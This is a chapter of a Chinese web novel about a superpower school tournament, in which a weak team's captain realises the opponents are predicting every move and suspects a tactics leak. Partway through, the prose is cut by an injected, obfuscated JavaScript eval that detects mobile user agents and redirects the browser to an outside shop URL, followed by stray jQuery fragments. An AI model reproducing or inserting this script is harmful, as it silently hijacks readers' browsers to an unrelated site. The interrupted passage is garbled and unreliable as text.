赵天明的火球砸过来的时候,对方的火系队长也动了,他的火焰是深红色的,比赵天明的更浓更厚,像是一片烧透了的木炭。

    赵天明没有硬接,他在林亦可的安排下侧身让了一步,让那团火焰从他肩膀旁边擦过去,然后回了一道更小的火球,精准地打在对方的脚边。

    “消耗他的异能,”林亦可的声音从后面传过来,“不要停下来。”

    林亦可打算隐藏实力,只用D级的力量迎战。这场战斗,她不需要让他们看到她的全部。

    赵天明没有回头,但他调整了呼吸的节奏,让每一道火球的输出都比刚才少了一些,他不求一击致命,只求一直有人站在他对面。

    但是对方似乎也没有上当,赵天明的火球他们不仅避开了,也没有如赵天明的意跟他“对轰”。

    林亦可发现赵天明削弱了火球的强度以后,也的确能避开。

    毕竟赵天明是C级,对面也是C级,按理来说,水平上是差不多的,但对面全员二年级,这支队伍成立的时间比他们这个刚组成半个多月的队伍要更久,也更有默契得多,加上这是他们第二次参加淘汰赛了,赵天明输出的火球的速度和运动轨迹,很容易被对面看出来。

    “赵天明,先冷静一下!”林亦可走上前,悄声说:“不要太刻意了,看看他们的站位,找个切点。”

    然后将手背到身后,对孙小胖打了个手势,意思是让他配合赵天明打消耗战。

    还有一个关键要素。

    比赛的时候,不能让对面看出你的微表情,否则非常容易被拿捏。

    但是,林亦可却没有叮嘱赵天明控制自己的情绪和表情。

    毕竟赵天明就是那种喜怒形于色,有什么事都会表现在脸上的幼稚鬼,指望他做到这个,简直在痴人说梦。

    而且控制面部表情也不是一时半会就能做到的事。

    所以林亦可想了想,干脆让他本色发挥。

    这样对手要么轻视垃圾队,要么迪化(过度脑补)。

    不管哪一种,都对垃圾队有利。

    这就是乱拳打死老师傅。

    所以她才让赵天明当那个“挑衅者”,因为他的表情本来就很丰富,别人反而不知道他到底是真的还是演的。这样一来,很让对面的注意力集中在他身上。

    ……

    赵天明思考过林亦可的话之后,满脑子都想着“看看他们的站位,找切入点!”

    大约思考了30秒钟之后,赵天明将身体的重心压低,左脚踏出那一步的时候,他脑子里什么战术都没想,只想着昨天孙小胖蹲在地上画路线图。

    因为他亲眼看着孙小胖用树枝在地上画了四遍,每一遍的深度和角度都分毫不差。他踩上那个点位的时候,脚下传来的触感和他预想的一模一样。

    赵天明甚至在心里给自己鼓了个劲:稳了。

    火焰在他掌心凝聚。

    但赵天明没敢火力全开,他怕对面看到他起手的亮度就直接预判落点,所以他特意又压了一档火焰的温度,至少让火焰看起来像是还没热开的状态,他要做的是,别人以为他还在预热的时候,他已经把火球砸出去了的这种效果。

    他在心里默数了三拍,然后推出去。

    火球的轨迹是一条弧线,看似要切向对方水系的位置,实际上它的真正落点是对方土系前方半步,他要逼对方土系提前升墙,只要那道墙升起来,朱婷婷的水系异能就能从他挖好的那条线底下穿过,直接断了对方防守的根基。

    火球飞出去的那一秒,赵天明甚至在嘴角弯了一个小小的弧度,那是一种“这波我必得手”的笑。

    然后……火球飞过空气,擦着对方水系本该站着的位置坠落、消失。

    而且,没有人站在那里。

    赵天明嘴角的弧度凝固了,他的目光追着火球的轨迹看到落点空空如也,他瞳孔地震,嘴里不自觉地冒出一句:“什么情况?!”

    不是对方躲开了,是对方根本没有站在他预判的位置上。

    那个水系异能者在他出手之前就已经移动了,不急不缓,像是走在一条他早就知道要走的路上,提前了零点几秒,轻描淡写地离开了火球的落点。

    赵天明来不及多想,身体的本能驱使他强行拧转重心,试图在第二拍补上一条侧切火焰。但就在他重心转换到左脚的那个瞬间,一道灰白色的土墙从他侧后方升起来了,位置不是他预判的正面防线方向,而是在他退路必经的那个点上,然后他就眼睁睁地看着自己这么一头撞了上去。

    “嗷!!”一声惨叫让对手和看台上的人都忍不住笑了出了声。

    哈哈哈哈哈这也太搞笑了,赵天明,喜剧人实锤了。

    赵天明捂着自己的脑袋,一屁股坐在地上,没忍住骂了一声:“草!这墙长眼睛了?!”

    赵天明不明白为什么会这样,他被迫往左偏了半步,就是那半步,让他原本准备好的第二道攻击失去了最佳角度。他的火焰在空中擦过对方队长的衣角,连人家衣料都没蹭到,烧了个寂寞,反倒是自己脑袋上多了个包。

    太诡谲了!

    除了赵天明,孙小胖蹲在地上也是呆愣的状态。

    他的手指已经按进了地面,土系异能正顺着他的掌纹往地底延伸。他的角度和深度是昨天反复比划过三遍的,甚至考虑了对方土系可能落墙的几种方位。他等了两拍,确认赵天明的火球已经飞出去了,这才开始发力。

    然后他碰到了一个他预料之外的空白。孙小胖的手指绷紧了一下,他能感觉到自己的异能线伸进了一个空荡荡的区域,什么也没碰到。

    他准备切断的那条土墙根基,不在那里。对方的墙在另一侧,赵天明的侧后方,然后赵天明撞了个包,他这边,啥也不是。

    “……我坑呢?”他抬起头,声音里带着完全摸不着头脑的困惑,“我明明算好了的,他就该在那里升墙啊!怎么移到赵天明这边来了……”

    根据昨天的配合,除了赵天明的火球,孙小胖的土墙以外,就轮到朱婷婷的水箭同时射出去。

    那道水箭她练了很久,角度偏左,速度中等,刚好卡在对方火系和土系交接的缝隙里。她和林亦可队长讨论过,那道水箭命中之后带来的连锁反应,对方火系会下意识后退,她就可以再补一道水箭切断他退路。

    但水箭飞到一半的时候,像是撞上了一堵看不见的墙,在离目标两步远的地方偏了方向,砸在地面上,溅开一小片水花。什么都没有碰到。

    朱婷婷的嘴唇抿了一下,水壶被她攥得咯吱响:“……我打歪了?为什么啊……”

    凯瑟琳的风刃贴地飞行,她绕了一圈找到的角度刁钻得连她自己都觉得满意。落点精准,速度够快,正好切在对方后排两个队员之间最窄的缝隙里。风刃飞出去的时候几乎没有声音,无声无息,不仔细看根本察觉不到。

    然后对方土系偏了一下头,那种偏头的方式不像是躲避,更像是听到什么之后侧了一下耳朵,然后抬手升起一道半人高的土墙。角度刚好,厚度刚好,正好挡住风刃的后半截轨迹。风刃撞在土墙上,发出一声闷响,就这么散了。

    凯瑟琳眼角微微抽了一下。她回到原位,声音不大不小地说了一句:“不是,为什么……我感觉对面好像预判了我们的行动啊?”

    看台上响起了低低的骚动声。“你们看垃圾队那表情,跟见了鬼一样,哈哈哈哈哈,他们是来搞笑的吗?”

    “开局三连空,这也太惨了。”

    “不是,只有我一个人觉得他们每一招攻击都被对面化解了?这对吗?”

    “不确定……再看看?”

    林亦可站在原地,把刚才那两分钟内发生的事情又回想了一遍。赵天明被拦截的节奏、孙小胖打空的异能线、朱婷婷偏航的水箭、凯瑟琳撞墙的风刃,每一步都被对面刚好化解了。

    林亦可站在后排,目光没有落在任何一个人的身上。从赵天明被截断的退路,连到孙小胖那道落空的异能线,再连到朱婷婷射偏了半寸的水箭和凯瑟琳被半截墙挡下的风刃。她在心里把它们并排放在一起,然后仔细回想。

    相同的地方,在同一个位置被卡住,每一次预判都提前零点几秒,像是某个按钮事先被设好了一样,精准到每一个攻击都被对应到了同一个位置。

    为什么对面像是知道她们的战术的样子?

    是巧合吗?

    可是这也太巧了吧?

    怎么会有连续三、四次的巧合呢?

    只有一种可能,对方预判了她们的预判。

    林亦可相信自己的直觉,对方确实在预判他们。

    不是反应快,是提前知道了他们要做什么。赵天明的火球落点、孙小胖的土墙位置、朱婷婷的水箭角度、凯瑟琳的风刃轨迹,每一步都被精确地卡住了。就像有人提前画好了一张地图,把垃圾队的所有路线都标了出来,然后递给了67号队。

    这种预判太精准了。

    精准到每一个攻击都被对应到了同一个位置,精准到对方土系在孙小胖发力之前就换了墙位,精准到对方水系在朱婷婷出手之前就已经移开了。

    只有一种可能:战术被泄露了。

    林亦可不觉得是赵天明他们故意大嘴巴在宿舍里跟自己的室友透漏过之类的,垃圾队虽然废,但对队伍的忠诚度没有问题。

    那问题就只可能是,有人看了他们的训练,然后把他们的战术细节记录了下来,有人把它递给了67号队。

    昨天来训练场的,只有全明星队。

    昨天来训练场看她们训练的,只有全明星队……

    林亦可的目光快速扫过看台。

    全明星队坐在东侧高处,和比赛开始前的位置一样。星娜坐在第二排靠左的位置,手肘撑着膝盖,身体微微前倾,眉头锁得很紧,她看的是67号的位置,、眉头越拧越深。

    莉莉坐在她旁边,手指搭在膝盖上,指尖在布料上轻轻点了几下,又停住了,像是在想什么事情,又不太确定要不要说出来。

    庄宴坐在更后面一排,姿态比平时坐得更直一些,他的手搭在膝盖上,他的表情看不出什么倾向,但他的目光落在地面上。林亦可的视线在庄宴身上没停留多久,她觉得庄宴这人虽然刚愎自用,且傲慢,但不会跟67号队有什么联系。

    她注意到庄宴的目光正落在陆岩身上。陆岩坐在另一侧,低着头,正在看自己的手。

    他的姿态很放松,像是这场比赛和他没什么关系,他甚至没有抬头往场地中央看一眼。但庄宴在看他,看了有一两秒。这个角度从林亦可的位置看过去正好是一个斜角,庄宴的视线和陆岩的肩膀之间形成了一条几乎被忽略的连线。她不确定庄宴在看什么。

    陈茵茵坐在靠前的位置,姿态

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17671474|205911||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    很端正,背脊挺得笔直,双手交叠放在膝盖上,她的目光落在场地中央,随着垃圾队的移动而移动。

    她的嘴角微微弯着,幅度不大,一副看热闹的样子。

    她没有证据,这时候把注意力放在场外没有任何意义。林亦可收回目光,把目光重新落回场上。

    林亦可站在后排,她的脸还是那副样子,像是什么都没发生。但她能感觉到,场上所有人都在看她——不是队员,是67号队。他们在等她的指令。

    她在脑海里快速过了一遍刚才所有的动作:赵天明走的斜线、孙小胖铺的那半米异能线、朱婷婷绕开正面射出的水箭、凯瑟琳临时改道的风刃。她的目光落在对方阵型上,那条防线已经合拢了,但合拢的边缘没有之前那么整齐了,像是被什么东西绊了一下。

    “对方阵型没有变。”她听到伊森的声音从身侧传来,不高,刚好够她一个人听到。

    她微微侧过头。

    伊森站在她左侧大约一步的位置,他的目光落在场上,但他在说话的时候没有转头。

    “昨天下午我不在训练场的时候,有没有发生什么不在计划内的事?”停顿了很短的一瞬,他又补了一句,“或者有没有什么人,在训练结束后留得比其他人久?”

    林亦可在心里把那段时间翻了一遍。她想起昨天下午训练结束时的情况——她已经回了宿舍,但赵天明他们还在场边收拾装备。也想起更早一些时候,全明星队在场边停留的那段时间,所有人的站位和去向,她并没有全部看清楚。

    她没有回答,伊森也没有追问。

    她重新把目光放回场上,67号队伍的阵型正在缓慢调整。他们刚才那一波压迫之后,正在回收阵型,像是在等垃圾队再次露出破绽。他们不知道林亦可已经发现他们的预判有问题,也不知道她正在利用这一点重新调整战术,那层薄薄的优势正在被重新分配。

    她听到身后看台上有人在低声交谈:

    “垃圾队今天好像不太对劲。”

    “开局被压成那样,换我心态早崩了。”

    “他们队长一直在后面站着,什么也没干……?”

    “那她不是木系吗?木系不都是辅助。”

    “不是吧?辅助现在就是站着看?那为啥不上看台来看,好歹还能坐着呢!去场上看还容易被异能打中……”

    林亦可没有回头。她的目光落在67号那道正在缓慢回收的防线边缘。

    但边缘有一处很细微的弧度不太对。那道弧线应该收得更圆一些才能完全闭合,但它收了一半就停住了,像是被什么东西卡住了,正在等待某个还没到来的信号才能合拢。

    有人向67号泄了底。但泄底的人,可能也不完全知道自己在泄什么。

    她没有喊任何人,也没有试图用声音去稳住局势。她只是把右手轻轻按在身侧的空气里,一道极细的翠绿色光芒从她指尖渗出来,像是几滴墨水落进清水里,化开成几乎看不见的光点,然后贴着地面扩散出去。她在用自己的方式搞清楚一件事,对面到底是反应快,还是有人在背后递了答案。

    赵天明在那道光点触到他脚踝的时候,感觉到一股极轻的温热从地面渗上来。他没有回头,但他知道林亦可动了。

    “赵天明,你继续进攻。”林亦可这样说。

    赵天明在这一刻,似乎明白了林亦可的意图,他的脑子在做一件他自己都不太熟练的事,他放弃了那条已经练习了好几十次的切入路线,换了一条昨天下午临时起意试过不到三分钟的粗糙斜线。他沿着那条线冲出去的时候,能感觉到腿上的肌肉在提醒他“这条路你没走熟”。火焰在他掌心重新亮起来,但这一次他没有急着出手。

    他冲到一半的时候,做了一个他自己都没完全想明白的决定,他掐灭了火球。一个假的投掷动作,身体晃向左,好像要把火焰甩出去,然后在最后一刻把火焰收了回来,像是什么都没发生。

    对方的火系顺着他的假动作向左移动了半步。

    赵天明就停在那里,站在他本来不打算站的位置上,看着对面的阵型因为那半步移动出现了些微的改动。对方的火系队长在这时候把目光投向了他,是一种正在重新评估的态度。

    赵天明知道自己做的事应该是超出了对方的预期范围。

    比赛还在继续。看台上有人在低声交谈,有人在调整坐姿,有人在重新评估这场比赛可能会走向哪里。

    赵天明退回原位的时候,他脚下的地面正传来一阵极轻的震动。他感觉到对方土系正在重新调整位置,正在回到刚才那个阵型。让它继续像之前一样稳如老狗。

    这些动作都是很细微的调整,很快就不再移动了,不认真看,似乎都看不出对方有移动过的痕迹。

    但赵天明感觉到了,他脚底传来的那些来自林亦可异能的微弱振动,正在告诉他什么信息。

    他把那道信息收进心里,没有回头。

    林亦可站在后排,她的目光从场地上的缝隙延伸到看台的方向,又从看台收回到场上。

    她把右手收回来,那层翠绿色的光点已经消失了,但她的掌心还残留着一丝温热。她的目光落在了看台东侧,全明星队的方向,然后移开了。

    她知道现在不是判断的时候。她只需要先把这场比赛打完。

    而场上的空气,正在一点一点地重新变得紧张了起来。